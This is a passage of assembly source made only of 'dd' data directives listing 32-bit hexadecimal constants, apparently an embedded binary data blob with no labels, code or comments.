dd 8070FB0Ch, 0E8F106C7h, 500DEA4Ch, 0B2A0F415h, 107E00A8h
dd 0B5BAFCC2h, 944C02F9h, 60CA80B9h, 0E1B4C8A0h, 870096A2h
dd 9E7FDE56h, 0C0C32F51h, 0C7D7D161h, 1016BFE2h, 0F1002A42h
dd 75DFFE65h, 5BA100E5h, 6069531Ch, 13B0765Fh, 9A7C0B00h
dd 0A1591407h, 7A2100D7h, 989DFE20h, 0ABF4A3A9h, 0E63D54B0h
dd 24D8BD30h, 0F002305Dh, 61130982h, 0FD44E14h, 0F3858ECh
dd 33A7701h, 80C2AFA1h, 0C9651311h, 1465288h, 58695DDDh
dd 80B8FEAAh, 65156770h, 0F11E070h, 3F0CA22Ch, 0C36C9B01h
dd 0F47881FDh, 125C25CDh, 7B98420h, 427BBC8h, 3A07AB0h
dd 4559BDF3h, 72913AC8h, 52563303h, 0ADEF4B27h, 0AB0F8C01h
dd 9840D6DCh, 0F0E71EBFh, 0D69128Ch, 609C273Fh, 5B685211h
dd 5F6DBD17h, 0E4AA7500h, 0E76E020h, 0F52E71DCh, 0B0EEB747h
dd 0CD16BBADh, 2293DD00h, 598DC4EDh, 5C7E4C60h, 0F6664B00h
dd 0C6019C63h, 25F8B1FAh, 2F77A203h, 0B953C11Fh, 57F4A0DCh
dd 13840015h, 0DC46A27h, 0FA1FA53Dh, 69EED7B7h, 0D6703407h
dd 205E5A90h, 0FDF0FB7Eh, 768374F4h, 311B3BB1h, 40F6C293h
dd 0E26EE65Ch, 0DA001AEBh, 0D7AB009h, 0BA7020h, 270A0804h
dd 4B21644Ah, 242EFD00h, 20CF41A0h, 2C150006h, 0C092DEAh
dd 0E6481BA6h, 34E70084h, 0DFE52FD5h, 81670087h, 3C2B0417h
dd 240582FEh, 0C2B80AFBh, 5461D052h, 2407F5E9h, 0D370C07Eh
dd 0A1079B26h, 907633Ah, 0C6809D67h, 0E4D0CA60h, 0E49700A2h
dd 30B4AD2Ah, 6673C022h, 6482100h, 8296E7F3h, 0A0A60090h
dd 2DEE037h, 53007EF4h, 9EC43447h, 6D0CD78h, 0DA5A8A62h
dd 0D803118Ch, 0BED6EF7Eh, 97901DA2h, 5E4C40BAh, 1E873F12h
dd 23D23102h, 0C2DF22ECh, 1A446874h, 0C8320101h, 6A3DDD81h
dd 0FD5DE8E6h, 9014C900h, 0DC7C0EFCh, 0D5490002h, 0D14EA452h
dd 3035CFBh, 8AD7A6FDh, 8E8EFAC2h, 0F689A08Ch, 158445Dh
dd 0BD850D28h, 346EC47Eh, 2C245531h, 20005482h, 0B64F5F15h
dd 8EBE0023h, 9116C856h, 0FF00F04Ah, 0C090C539h, 772473h
dd 0EA79848h, 0D213F132h, 80E7A43Bh, 70286FAAh, 3D1333Fh
dd 4EE060FDh, 0B6A8D029h, 4716806Bh, 68005407h, 3C047A85h
dd 3DF9F8ACh, 0FC001F22h, 0D53BE74Bh, 6339C273h, 0BFE080CDh
dd 58B1889h, 0E87D132Dh, 6DF40706h, 4F9CF0F5h, 79287B62h
dd 39009E08h, 37A723BFh, 125FF586h, 0F21F82h, 0EF4135E4h
dd 871274B7h, 8440F4AFh, 0C4BB2AB6h, 54C200F9h, 0A64B722h
dd 9003874h, 1F8D5585h, 1E5D9212h, 56AEEAh, 0B6ACED89h
dd 0EE02A2CDh, 0FBBEA7AFh, 1D3448C6h, 903B006Fh, 0E6B53CA1h
dd 0AD07030Dh, 0E372AF6Ah, 60102A32h, 37E248h, 89F90E7Dh
dd 463C68ECh, 0C3D30B26h, 0BC42A213h, 60FD3AD1h, 26F411F8h
dd 80480DE9h, 4A0FCD45h, 81F4CB3Bh, 460C250Fh, 29B70059h
dd 3907157h, 1FCEAAB5h
dd 0DEE831A6h, 0E0F7387h, 60CAA26Bh, 7F181CE0h, 701FA4Ch
dd 2FE543E7h, 50682732h, 0EC52BD59h, 92A36500h, 748F306Dh
dd 0B1F83197h, 27226780h, 0ED2F01B8h, 0D2526BCAh, 0FE21C280h
dd 42B0676Ah, 0F4684Ch, 0AA4925A1h, 333108h, 8F954658h
dd 7606CBBBh, 39487579h, 2D7718F8h, 3CCD112h, 0ECBD903Ah
dd 0B80091F3h, 8FE7F758h, 7209264h, 0BB950F27h, 0DE1CE084h
dd 4E125417h, 0FC0C0880h, 6EBA44h, 17CEB95h, 0CEA6BCA7h
dd 9441550Fh, 1ECAE057h, 2EE8476Ah, 93CCFE5h, 68801588h
dd 0A2BBE3CCh, 0ADF1A612h, 8349E0h, 0FD568286h, 6C5BC16Dh
dd 0E6202800h, 0D45CC9EAh, 5F3C007Ch, 0DA8546F0h, 840075C0h
dd 8DEECEB5h, 72C32758h, 8DB3B43h, 0AEF4B282h, 20C00176h
dd 0B386117h, 5B1180F8h, 9B715D29h, 14730503h, 0C01E494Dh
dd 28895D4h, 598C9300h, 0BC9CA039h, 229F0024h, 0E4A5B7D9h
dd 0DC006C79h, 5E577AC6h, 0E831FEh, 0D03095A2h, 694AA62Ch
dd 6CA1C500h, 0EB1A8C36h, 0BFC20037h, 341E6026h, 8801FC4Fh
dd 3BBBB91Bh, 0A440F64Eh, 1D77BA54h, 0D8E026B3h, 94925C99h
dd 0F9D72400h, 6D50D04Eh, 42E20586h, 0C04D7CB2h, 0CAB933E4h
dd 56518B03h, 0F0FD9F6Bh, 0E2F55A50h, 7A1748AAh, 606EAE01h
dd 0CC5D93B8h, 0E50537EEh, 0D4F71002h, 0D08028D1h, 9A1860h
dd 78D99571h, 347321B1h, 758AFE00h, 0BAEA9136h, 0CA25C26h
dd 1AEC2BB0h, 9E710801h, 97BEF652h, 0CEA2FC50h, 0B3BC224Dh
dd 3040B47Ah, 3E144C7h, 3BC8A400h, 0AACF30Bh, 0B8BADBh
dd 2814B6Bh, 1C664168h, 9700ACBAh, 0CF377AEBh, 3B5ADFh
dd 0ABAA9F33h, 3578AEDAh, 987B5300h, 0BA6244CDh, 401B05AFh
dd 0C0B07DFBh, 0E89A1320h, 451A3D2Ch, 58F0600h, 0BA44C7h
dd 75B05097h, 0E49C0A48h, 9860DF7Ch, 14D7F66Eh, 23E0E332h
dd 0B808000Ch, 45184660h, 62B0DC51h, 14F9AA1Fh, 1E317940h
dd 152385h, 83780321h, 0E7B1A9D7h, 7918C800h, 25298D98h
dd 9F411F67h, 388828ADh, 83001B7Eh, 28A4C24Bh, 7C9826B7h
dd 0A99EBC03h, 0C0F1AC23h, 3DF8787Ch, 0DE01F9B9h, 0E3868190h
dd 0E1F140BFh, 4402A679h, 33078E1Eh, 0EA705030h, 156204C1h
dd 0A0176B3Fh, 91F82B44h, 14989B03h, 0F91F9947h, 0DCE8377Fh
dd 11B1013Bh, 93100EF2h, 40364Bh, 14CC43ABh, 7A6BA926h
dd 28A82C85h, 5C3D0462h, 413EC0DCh, 841EB055h, 3A68FCh
dd 44EC057Eh, 42BB8C4h, 811A6C4Eh, 0C066C4BEh, 0AEF5BF24h
dd 0E451411Dh, 0D5FFD000h, 1EE3A615h, 0C14C6035h, 879A65EFh
dd 3043FD9Dh, 0DB71125Ch, 0F0BD3800h, 1FDF1A7Ah, 0F13D033Bh
dd 4639298Bh, 2A12EFC0h, 9701F4B0h, 76F97218h, 1AF44D3Eh
dd 0AB51016Eh, 54D23AFFh, 7C3814h, 0B7D6D3A1h, 7EE3D99h
dd 1EE71F87h, 6E461226h, 0B5512040h, 59EAC907h, 13F161FBh
dd 0A9CCFF2Dh, 0D3470040h, 71B143C6h, 9071B5CAh, 0C0064B8h
dd 75C101F3h, 0FD62B7Dh, 0C49D8A21h, 0DB81A4E9h, 802AB30Eh
dd 9265B718h, 127C1EDh, 0C70CDC68h, 403FD1FCh, 712FDE0h
dd 0ACCAB700h, 8D514E5h, 1E0B034h, 5DEF210Dh, 0F425B056h
dd 550E605Ah, 20586EE6h, 8AF3D6BDh, 630824BAh, 0B9DB0090h
dd 4B0324ACh, 0BB00B67Ah, 0E064195Ch, 7D98E3D8h, 1DB00BDh
dd 366796CFh, 0D07BCC27h, 2F6FB50Ah, 110EF05Dh, 0A168004Ch
dd 108516h, 0F7C2EA1Ch, 7FE7FB13h, 0BCC0BD00h, 8480026Fh
dd 343B24EDh, 0C2EF077Bh, 6920709Ah, 0AC006BCCh, 1A8A8CFCh
dd 39B337DBh, 0DE80F085h, 0A6E82A0Eh, 0C01C8956h, 3240E280h
dd 0A5A057F5h, 0A9230029h, 0D96018BDh, 88B8C61Fh, 0F8CDDF01h
dd 32DDEE92h, 98FC8475h, 0CC2100BAh, 1F2BD439h, 90052A3h
dd 2E4A9E4Dh, 3F13655h, 19A23321h, 0DCC03BC5h, 754CD691h
dd 966700FFh, 0DD3D2EAEh, 12DA778Bh, 12C25788h, 0AB6440F9h
dd 0C2089B3h, 0C70616Ah, 2558B3Fh, 646F003Ah, 0A24C6Bh
dd 0E5CA6D18h, 46485F50h, 5B63DF00h, 0C5424D8Dh, 4A170521h
dd 102BAEh, 15E6D6ACh, 2F05E881h, 1A967741h, 19309897h
dd 3E3610Ah, 374E7484h, 2FE0F77Fh, 0A40CAC8Ch, 10F52D35h
dd 7CA8005Ch, 0AB43DE0Fh, 0D202B8E4h, 0FFC03A2Ch, 8A5340CDh
dd 0A1A03CBh, 0A431E8A9h, 0E893C8A1h, 80B8C96Ch, 0BAF38F09h
dd 0C1B0E3EAh, 88EC24F7h, 3AAF870h, 0DB4F6384h, 0BA9972A4h
dd 67F640B1h, 31C20B53h, 0E01AE499h, 92E866h, 894DB414h
dd 323A60A9h, 0C1503707h, 0FFA0B9A6h, 642A40Ch, 8461B1E0h
dd 26FC3CADh, 5C00877Ch, 904CDBC4h, 0F09520h, 2879B162h
dd 0DA9425A6h, 0AB2DC100h, 0CE70B8E3h, 6140081h, 0A36B506Ah
dd 0A49E768Fh, 0B6EC5900h, 70259566h, 2AC700A4h, 0B87BB568h
dd 9B0164C8h, 7F79D886h, 0C0850676h, 40E2CFF4h, 140BC6F4h
dd 9109FBB2h, 80E118FAh, 7060C9CBh, 31396275h, 602FDD24h
dd 505A5345h, 0E657505h, 1B37125Dh, 5700E454h, 0F7EBE98Eh
dd 0D775C8CEh, 0F1F540C0h, 0E8F6CA6Ch, 0F150481h, 0B0937919h
dd 0C40073B0h, 4D1167F4h, 0C0C6F838h, 481DE928h, 0B116BBFDh
dd 61006243h, 2F38CE77h, 7F16007Ah, 0B24D1BB3h, 870AD136h
dd 0D00E35E8h, 47375D80h, 26CECFC0h, 34DD849h, 62EDD0E7h
dd 9F11D109h, 1AB6033Eh, 0C297C036h, 0D3A30028h, 1ECF3808h
dd 0CC1D0917h, 1BC33D2Ch, 0E0C3B6BBh, 7C7397Ah, 73EEF502h
dd 1951FC3Ah, 0E0A9750Ch, 1EF11D1h, 4BDAFCF7h, 0E061C89Dh
dd 7C00803Dh, 1F35EA6Dh, 7A97DD7h, 6B5945B6h, 0DC727058h
dd 0C503E194h, 11368C1Ah, 0BA52D810h, 28CB3BB8h, 7FA7B780h
dd 0EED2EA88h, 0DA22E20Ch, 5E08F6h, 8EB70F49h, 0C09D8426h
dd 0FAD59B00h, 900E785Fh, 152107C6h, 813C5224h, 0F003FF11h
dd 291F47B7h, 9D0071ADh, 83CE9412h, 60827402h, 2747504Bh
dd 9B0773D5h, 8E43B638h, 57A16EF0h, 0B3C518BBh, 0C7AA7847h
dd 24315260h, 6B53288h, 0CB103620h, 0C8C468D1h, 0E130BEACh
dd 0D223D083h, 21AF18DEh, 8300088Ch, 0DF12E3E6h, 1D857C9Ch
dd 86435473h, 0D859FE8Dh, 0DDD9E202h, 875227B0h, 6C53B40h
dd 71AC7020h, 0AA9D1055h, 8056C882h, 0D271F3EEh, 140D8FE2h
dd 50F9D94Bh, 67C29AD4h, 413D6846h, 80232639h, 6F5297F1h
dd 0C8B93F7h, 8A484217h, 21DF2F08h, 0C46F5741h, 0B9405F06h
dd 12C9048h, 2E472A0Dh, 0D4953AA6h, 0D800610Eh, 34D41693h
dd 19C0D9Dh, 0A7AE1BBDh, 241D03FDh, 510F2400h, 1A40A1h
dd 0E45B92D0h, 0A6170080h, 0F7FFB67Bh, 0A37D2449h, 0A57CDE00h
dd 73224630h, 0F55700D8h, 0B794C2A6h, 0B676E4ADh, 2C0B5200h
dd 7D6E19D1h, 0D6700DBh, 0B391B47Bh, 5205CB17h, 33D33B27h
dd 98EE3EC0h, 62F90011h, 5EC0EE3h, 0D0004E42h, 33FB3965h
dd 39BA6E16h, 9500D257h, 9E0F1CB2h, 640102CDh, 2DB65C30h
dd 0EF60359Fh, 1BE5009Dh, 2E1AA25Bh, 7700D796h, 19B9F013h
dd 0D2CB2Ch, 6FB63CC9h, 34E49B14h, 98335700h, 8AD648AAh
dd 2EED0056h, 0D1C55EAEh, 7F00D352h, 0B74CF5C6h, 54A9DDCh
dd 0FDEB873Dh, 0B24480FAh, 51EC7E59h, 63002590h, 56587580h
dd 840896h, 2A98858Ah, 7CFE87B1h, 0B2B3DB1Ch, 20EEE680h
dd 3AA523h, 8856D894h, 0C37F9C85h, 901B9900h, 0B0292C48h
dd 18E616B9h, 0BEC70007h, 0C22EE322h, 4ACA7C03h, 98082D87h
dd 4D6B79h, 426FE912h
dd 3DBEABD0h, 0ACA87700h, 0FBCDAEF3h, 4BD40036h, 800485C4h
dd 0BA70FFD5h, 0E3239300h, 899A2B26h, 22DF0B72h, 530031B2h
dd 544725CFh, 67D07603h, 8DF551h, 37668338h, 42751A9Fh
dd 0F3A5A700h, 39D39506h, 0A2DF0FBAh, 0C7A3EFBBh, 56F36714h
dd 81505C00h, 2045F751h, 161001FCh, 0BF2B4C21h, 0F9DCF04Fh
dd 0DEFD1901h, 5088B327h, 96CEC0h, 0C76F7BD0h, 82AD520Dh
dd 1300BCF8h, 2C393F5Bh, 60518568h, 6FD2A8CDh, 4000F8B4h
dd 0A8DF4288h, 0EABBD4h, 8B0145Fh, 3A76E16Ch, 80ECDB3Eh
dd 0AA213EC3h, 66229AEh, 586D58Fh, 2C00D870h, 0CF717323h
dd 3CBD033h, 6881428Bh, 0ED065DEh, 0B006A851h, 0ECC04BAEh
dd 0C360060h, 8F5830FCh, 660019Fh, 0D8B0719h, 0EA5200BEh
dd 6F6B55C1h, 530028B3h, 0D91498E2h, 6E069EB6h, 0BCA03111h
dd 77F96676h, 0B7398D16h, 0FB9B4100h, 1027E03h, 1A7F31CAh
dd 80930EADh, 992B1840h, 382843Ch, 2DFBB3EAh, 7FE0320Bh
dd 37B62151h, 702F09h, 36EF5647h, 13935C0Bh, 79AF700h
dd 3C13F811h, 6689A10Ch, 3015E10Dh, 784057C5h, 0C00B429h
dd 2C896A53h, 170499Eh, 0FB74AF44h, 0E85EB12Bh, 7A01592Eh
dd 205721A3h, 0B0DCC287h, 95E63F29h, 0E0EBB698h, 4D019DC5h
dd 78DD488Ah, 0A0D84B2Ah, 7FFE09C8h, 2C008F4Eh, 0CDF9753Dh
dd 0DB492400h, 0BC5235E9h, 0E1AC0094h, 470E0A5Ch, 7B25DFAEh
dd 0A25053h, 0E8D970F1h, 356D720Ch, 0A84B3903h, 90406B8Eh
dd 1D24417Bh, 1FB968F9h, 219322h, 747A9028h, 0C20548CCh
dd 0DB1FC531h, 0F48CCF00h, 22A365Fh, 0C670E6EEh, 0E0803A68h
dd 0A1849178h, 0D8AD7401h, 6E36B120h, 5EA7D0h, 605B1CF4h
dd 0D1659FE7h, 93F21401h, 283C2C15h, 0A9D008D9h, 74EC0FE5h
dd 89604626h, 75E20CA5h, 0EF40A700h, 0FD905E31h, 733FA54h
dd 3BACD90Bh, 0A41E30ADh, 0B4016A2Ch, 61AF7D71h, 99D47680h
dd 26BBEA65h, 80F697h, 0F31D4E89h, 0C000C849h, 36CCD420h
dd 4E2F91Bh, 22A28599h, 7A33C01Ah, 4BE2F879h, 0E99D8F1Dh
dd 0F0ECEE80h, 0F21809h, 113A391Eh, 9FACE36Fh, 0EA907703h
dd 2EC903h, 0E447A770h, 98B248D6h, 9B8E8728h, 2F2A009h
dd 0D82420DEh, 0F5F727h, 0D334CB74h, 459BE5C6h, 0C8806024h
dd 0C9E04F03h, 1AA5A0AFh, 0EDC106DCh, 11A82438h, 0A0034FAh
dd 0C7726109h, 73CD64DAh, 83B506FFh, 29F92253h, 9BB72D07h
dd 0D1F099DEh, 27140B2h, 0D7A99418h, 0E84063CBh, 8224DAC8h
dd 75037EB1h, 0D061C2DBh, 625B03h, 0CD570C10h, 0CF238294h
dd 677E3800h, 0A099E417h, 0CE2A3866h, 2FC3037Ch, 315144F4h
dd 0C7A7A1F8h, 0A2051100h, 0CCF3A9A4h, 0D85500CAh, 68F57E48h
dd 66018CB8h, 0DE3FD2DBh, 29C830B4h, 0D06754A9h, 0C4A0005Eh
dd 2C7D1F42h, 0B60F4F38h, 22B9D2A8h, 0E06F4B58h, 1880EC7h
dd 0EC80D13Fh, 0FB74A606h, 0DF9DB200h, 3C6445B1h, 0EFA0046h
dd 0DA09F6D8h, 0B8007A80h, 1974E631h, 4C4766A1h, 201A0FAh
dd 0AFB57B0Ah, 40DB7026h, 0E1505B1Eh, 0D40F80BCh, 0A14E1185h
dd 0FF02003Eh, 9A1457DBh, 0A00AB3B5h, 0EC9E5320h, 0E2461700h
dd 12656FF2h, 35948Ch, 0FA862644h, 3005CB8h, 4025B1EEh
dd 0F73C9Ch, 272D94D1h, 0B4A8A35Ah, 98893D00h, 1FA76B13h
dd 91F600BEh, 0F938DC66h, 6490B574h, 2F0B2678h, 0D128AF2h
dd 0FBC0114Ch, 8FAC1C6Ah, 1EC6865h, 0CE0B6204h, 7007D12Ah
dd 3C1C175Ah, 7FC023F9h, 0BC6754EAh, 8D600058h, 0E231FF4Dh
dd 27E4136Ch, 6148E538h, 537C1E58h, 0F7C0D921h, 6857AB1h
dd 0F359258Ah, 893D6864h, 436E24FDh, 0EA1C2B17h, 8899C90Ah
dd 51A3700h, 0F59A030Fh, 305895E0h, 0FE110E4Dh, 624C3879h
dd 9010EC1h, 320260A4h, 0AD0EED3h, 0D55EE545h, 74B73824h
dd 72677071h, 0D0001D43h, 0B7DF4E5h, 0A0A7484Ch, 7BA2DAh
dd 10DF151Ah, 7764D3ECh, 2ECCE500h, 0C693876h, 8ABD1F27h
dd 0ADC6C75Bh, 0DD5240AEh, 0E100E446h, 0E69CD609h, 0FD36DFAh
dd 3AC180BFh, 889D4E80h, 977A1A7h, 29EC4300h, 453C8B6h
dd 923C03D5h, 0C7D13B02h, 869BD3D0h, 0F5B74E01h, 9EB5F9B8h
dd 23B6D4h, 3A5D92FAh, 0B2580AACh, 2F009F90h, 0E12EAD2h
dd 628589h, 0DF01FE4Ah, 53B064D7h, 4B2E1400h, 382F28C6h
dd 991C0015h, 2A452034h, 95006159h, 33EB708Ch, 0D78376h
dd 208229F3h, 0B6ED2D8Fh, 0D5663D00h, 315B63D2h, 0F2B4EE72h
dd 2DCD00FAh, 681FA1BCh, 1C007978h, 697F6709h, 0F847233h
dd 0C7048346h, 288BD300h, 0F2009305h, 3DC15377h, 26DCC233h
dd 0B963BCh, 81D37B48h, 16009172h, 30F2FFD7h, 3DB24C1Ch
dd 0EC3D3942h, 0D9BC7080h, 7354699Dh, 3752330Eh, 0D0B04301h
dd 6639C0C2h, 70A8097Fh, 1C89F259h, 96896F00h, 9F004C07h
dd 8297B8B4h, 0FFDC4Eh, 6BD6B355h, 28CB7A54h, 0DA1C5B09h
dd 0DF180086h, 0FC3CA072h, 0D49A3D79h, 3181D600h, 1EA7937Dh
dd 0F51A041Dh, 8EEFDFC3h, 0AE28112Bh, 7BE611E1h, 7B1B2011h
dd 222A7920h, 0B922E202h, 117C427Ah, 76117E60h, 28BE28D2h
dd 21285842h, 0D6EA2214h, 421E9922h, 7A6B08B4h, 0D53E083Bh
dd 92632B84h, 86495008h, 60283AA4h, 0C2ADF152h, 0D00B584h
dd 728A8F64h, 6F8E13h, 0A1F82B1Fh, 0AB430471h, 0BE149600h
dd 7B61C87h, 184909BCh, 0F8988320h, 0A7034CF5h, 0D2BE09DEh
dd 6D47987Fh, 80F894B0h, 8919CE9Eh, 7800A470h, 17D392F9h
dd 16B221F3h, 0D7EF8Ch, 0C357BACh, 0D958027Ah, 60C12DFCh
dd 0B017C334h, 762A3E9Ch, 0E9899A07h, 42322210h, 2DC28CE8h
dd 0B9FA9100h, 2F994D30h, 0C5F1004Fh, 0FC2117ADh, 850F11E3h
dd 0E4E6887Ch, 5B8057B1h, 13AEBB18h, 7E4E48h, 54BF74DDh
dd 1502431Dh, 3AFD0C0Fh, 0C7C8C8CAh, 4CFA005Dh, 4D74D8DAh
dd 0A6001915h, 9A207C7Ah, 0F2A1ABDCh, 2F53072Eh, 808A620Ch
dd 0DD27E1EDh, 26EC8900h, 9AC17F4Eh, 9EFEB1h, 0B515EF65h
dd 0DC141C5Eh, 0CA03B003h, 0C32561EDh, 491DC09Bh, 3DBE3AF5h
dd 6DEBA980h, 0C3FF9D68h, 0BBA09518h, 0C0A5B38h, 74E17663h
dd 0EC7E77D6h, 3FD98F1Fh, 0E2108580h, 17223Ah, 0CB5D71D2h
dd 0C99840ACh, 0A8CF7B03h, 0B0C79991h, 2ABE3DDh, 0D55DE7DBh
dd 0A4607A6Dh, 0F200B13Dh, 5F547365h, 7C1550DAh, 1E0F003Eh
dd 12417188h, 0C0E99AF3h, 30117CEh, 5F356DE3h, 2F8302Bh
dd 0AE9209F0h, 0D181C474h, 20BFECC0h, 0CD58EE10h, 0C22D008Fh
dd 6064839Bh, 208A00E6h, 2A92CAB2h, 8E4C1B19h, 65391C06h
dd 285500BEh, 7058DE10h, 4C2A1E64h, 0E54F803Bh, 9BA1371Bh
dd 0B8623C30h, 54C58Dh, 2A04EFCAh, 0ADDCA5C6h, 83796E09h
dd 871C60B5h, 0B01C0413h, 8064E736h, 3199B264h, 0BB3D9B0Bh
dd 0DEF28E97h, 63594Fh, 7201C453h, 2560003h, 0E62FC92h
dd 0EB00ACAEh, 13BA42A6h, 147C2F5h, 951E8E76h, 0F14AE3D3h
dd 0EAE8436Fh, 629C63D8h, 0C43ABC00h, 103DB18Bh, 4D6A1F79h
dd 0FA10F096h, 0CF07447Fh, 7A496201h, 0BD302850h, 22853FA0h
dd 0EE8B1600h, 2CC10DF7h, 3B0C5207h, 29D713CEh, 0D730F550h
dd 7A8B00B8h, 72F04981h, 690091C5h, 602A7020h, 90CBC698h
dd 0FBC70074h, 9988C45Bh, 1F61D63h, 0FBEB202h, 60A7C978h
dd 69ECD6h, 0AF976AB1h, 1C42755Ah, 36675E03h, 0F0D9121Ah
dd 14D2100Bh, 8BAE444Ch
dd 0B4507A00h, 69052DEBh, 99C8348h, 8F133655h, 64BE01Ch
dd 2EFC4DBAh, 3CDCDB7Ch, 0FD4E0D07h, 0F029707Bh, 0D64C2B58h
dd 48620047h, 0BE0F3312h, 0D071076Dh, 3022E00Eh, 7D7A1E24h
dd 38835900h, 992527DEh, 0E0ECA8DBh, 0C3D1024Ah, 6C8B5896h
dd 0AE1DCFE0h, 8068113Ch, 6E4ED39Dh, 72A98CE1h, 467A0624h
dd 411226BEh, 0E539B1EAh, 5A2775h, 0E70CEF8Ch, 460E01BDh
dd 0D2C8D091h, 0B0F8EC77h, 0AD964100h, 95C155DEh, 5F1F2482h
dd 0CB50459h, 1060813Ch, 416CD035h, 0EA2F8101h, 0B5D005D3h
dd 0DEECCECDh, 7CF40090h, 67B7AB0h, 54000E25h, 0EE28BB50h
dd 0C07534h, 9AEBE73Fh, 5BDCD409h, 44B3AC03h, 0E869FA7h
dd 49A80F3Eh, 0EB145500h, 5800067Fh, 4EA17608h, 10A1E16h
dd 62A59456h, 0EC2164C1h, 49007D14h, 30B0CC54h, 7D30785h
dd 0D82B57EFh, 0AF1FC08Fh, 0D000F5EDh, 6E793A81h, 1E68E922h
dd 403763A5h, 0FA0F472Ah, 0A300B360h, 464FA404h, 0F4F73059h
dd 498B004Dh, 42817263h, 0F000858Fh, 4C9723F3h, 3E8A58h
dd 98D7F609h, 363E656h, 9221CE03h, 0AA962B3Bh, 0F6B4A00Fh
dd 387E7117h, 0C980BD57h, 7B14A7E8h, 110086CAh, 0C4B53B99h
dd 5A2B08h, 36ED22D8h, 0A0F24931h, 201758h, 0BC0BC115h
dd 76D7D4Fh, 0BD3D8C3Ah, 0B8530282h, 1F217078h, 73E60074h
dd 0DB0E54A0h, 0C187560h, 77B7D4Eh, 0A441A853h, 7EB69033h
dd 0E91EE813h, 0B545DD67h, 920025A0h, 61FBFEB0h, 2779880h
dd 51583C98h, 5E603A82h, 6F587A8Ch, 8A3F7D78h, 0DC488037h
dd 0B38F5C90h, 9A8600FAh, 12645A21h, 6E038431h, 3DF31E9Dh
dd 3EB4B073h, 70FA0011h, 4D20FC36h, 8500749Eh, 0D8677B76h
dd 24775263h, 8EBC0D4Fh, 46A127B6h, 20CCE911h, 3C3B6D64h
dd 9E968006h, 3987AD2Fh, 64150099h, 0C9B1B878h, 0A83D7B2Ah
dd 0BA468198h, 57B9A2F4h, 0CD89FCh, 0D8FF02BEh, 656F20Fh
dd 98AE2928h, 660076FAh, 0DFA99986h, 2630925Eh, 57C8A4h
dd 3DD0FF9Bh, 0EB3A9861h, 0B3587DBh, 0DDF0AAF4h, 7AC82FAh
dd 0FC3CC32Eh, 848BE00Ch, 0E8120678h, 3C008FE5h, 0C57473A0h
dd 6398133Eh, 8BE0027Fh, 4520DC1Bh, 0A69F54h, 0CC9D1074h
dd 55B366C9h, 0D812D7E2h, 0BCC34616h, 72F198F7h, 38EF0078h
dd 2798B4A3h, 0A001B91h, 0F3B21FAFh, 3CA87226h, 0CB0B5F51h
dd 300F572Ah, 5E362583h, 7BC02793h, 0D303A7CDh, 62F143B0h
dd 0C194BBB4h, 2034A029h, 1C3000E7h, 0E19C7550h, 0A4001F42h
dd 2C7BACA9h, 0EF4C0Ch, 0AED348D9h, 39EBCB4Dh, 0F7492600h
dd 0B07B1578h, 0C2A70068h, 0E196F11Bh, 0C0C05438h, 5C91F0D7h
dd 586316E9h, 62DC4003h, 7FD020CBh, 0C6B8821Fh, 0FD31198Eh
dd 0F60C3980h, 0B4C9B3DAh, 400B1D44h, 0C791D904h, 696010F3h
dd 6DF487C1h, 9C430B77h, 4468F6C4h, 2FF0154Bh, 0B7F15A1Eh
dd 3D171B80h, 4BCFBF3h, 241E6189h, 0D037C177h, 0A8CA46EEh
dd 63102F01h, 5122D46Ah, 3D0EC0h, 42C217BEh, 0DD59F3Bh
dd 129D100h, 0CF182D98h, 740001Eh, 0A6CA7EE0h, 6E02416Fh
dd 86D2430Dh, 0AC8440D0h, 0E39D00A2h, 1C18030Ch, 873F3D11h
dd 0CC5E80A7h, 508809FFh, 20400044h, 7CE8712Eh, 0D032972h
dd 468CC525h, 0CBAB90F1h, 61C000CDh, 0E49EFC66h, 3500A530h
dd 0ADC681DDh, 98E682B4h, 4A77000Bh, 3666A172h, 0F8000326h
dd 9C110DBCh, 14715C3h, 456B65A8h, 70913578h, 4A12A358h
dd 0BC009671h, 5C8BC1FDh, 0E0427AF0h, 7BFE0022h, 0CE455146h
dd 6041499h, 68D936A4h, 0D5E4C4C0h, 35DECEDh, 0C72A4070h
dd 83F076D6h, 570B9BF6h, 31F5CB6h, 0AA3B3178h, 0F30F0DEh
dd 0A29B14BCh, 40AE9D89h, 3B04C888h, 3D05655Ah, 0B9E0B096h
dd 2128B200h, 0E9FCA2D1h, 16750094h, 0D9099B86h, 7300F2ABh
dd 37D477E2h, 5AFAEC7Eh, 83944324h, 7AD849A0h, 0E600B566h
dd 5EFA87EEh, 1EA2182h, 0A20C35EDh, 0C0B660B2h, 8F1F4F57h
dd 41A47966h, 3FC77100h, 1E4904BAh, 0BF23C570h, 737B088Bh
dd 0EC05EB00h, 283EFC2Fh, 350301CFh, 7B4F2E3Dh, 40A3FD8h
dd 4D5C32EAh, 7931C022h, 9828257Dh, 0DE084D1h, 5D2C5300h
dd 550FE27h, 128916FAh, 1428C019h, 0B3001F5Ah, 0E9D7EC11h
dd 0EE9FE2FEh, 0F66B14F8h, 0A507D88Bh, 47269923h, 1C1B503Ah
dd 532687BDh, 73038C3Fh, 864E68B8h, 74D5F99h, 0B64C8644h
dd 2008A6Ch, 114152C9h, 79CB67h, 942FC1D0h, 0BF73F872h
dd 1BD11200h, 8E5A6265h, 2E94901Fh, 3B40B8FFh, 9A00EBB8h
dd 595F30BFh, 373F1263h, 5ECB8034h, 2799A2BAh, 43450047h
dd 3F1BF2CFh, 0A87919EDh, 61000EB0h, 0C7494FF5h, 46326C1h
dd 395C3FB4h, 30E89D74h, 8A002F7Ch, 344091DFh, 12474283h
dd 0C0BAC1F8h, 0B4A4A670h, 60C37500h, 0E679A5AEh, 0DEF50035h
dd 0BC7BC70Dh, 6CB08C2Fh, 9E84B601h, 223DFC19h, 36329C40h
dd 0C2D6E302h, 0CC8448E1h, 978D0176h, 9E4586D3h, 4E22D8FCh
dd 0CF00D4BCh, 82EBADD5h, 1BE03C2Fh, 0B81228h, 38B88863h
dd 0B4CC530h, 682C5D07h, 3C8176BBh, 0D9CC2412h, 0F689009Ch
dd 73115401h, 3B00E13Ah, 8435151Ch, 1C3D8EA6h, 407CB94Bh
dd 6514DB77h, 67005527h, 0AE24A89Eh, 53E44Fh, 0C14B7D9Dh
dd 38E2F325h, 0D89E9C04h, 73C0D59Ah, 7CD7CDE1h, 0DA9B0785h
dd 809DFD8Eh, 3F1D06ABh, 9288E001h, 0A6CE48Fh, 42E0A5E1h
dd 9A4300E9h, 247CFE0Dh, 92584589h, 0A96F0005h, 1E074912h
dd 7AF900C2h, 528346DCh, 0A300671Ch, 3BC88ADAh, 794BABh
dd 6F0868B2h, 88763627h, 6A451300h, 96804A54h, 0F4D20004h
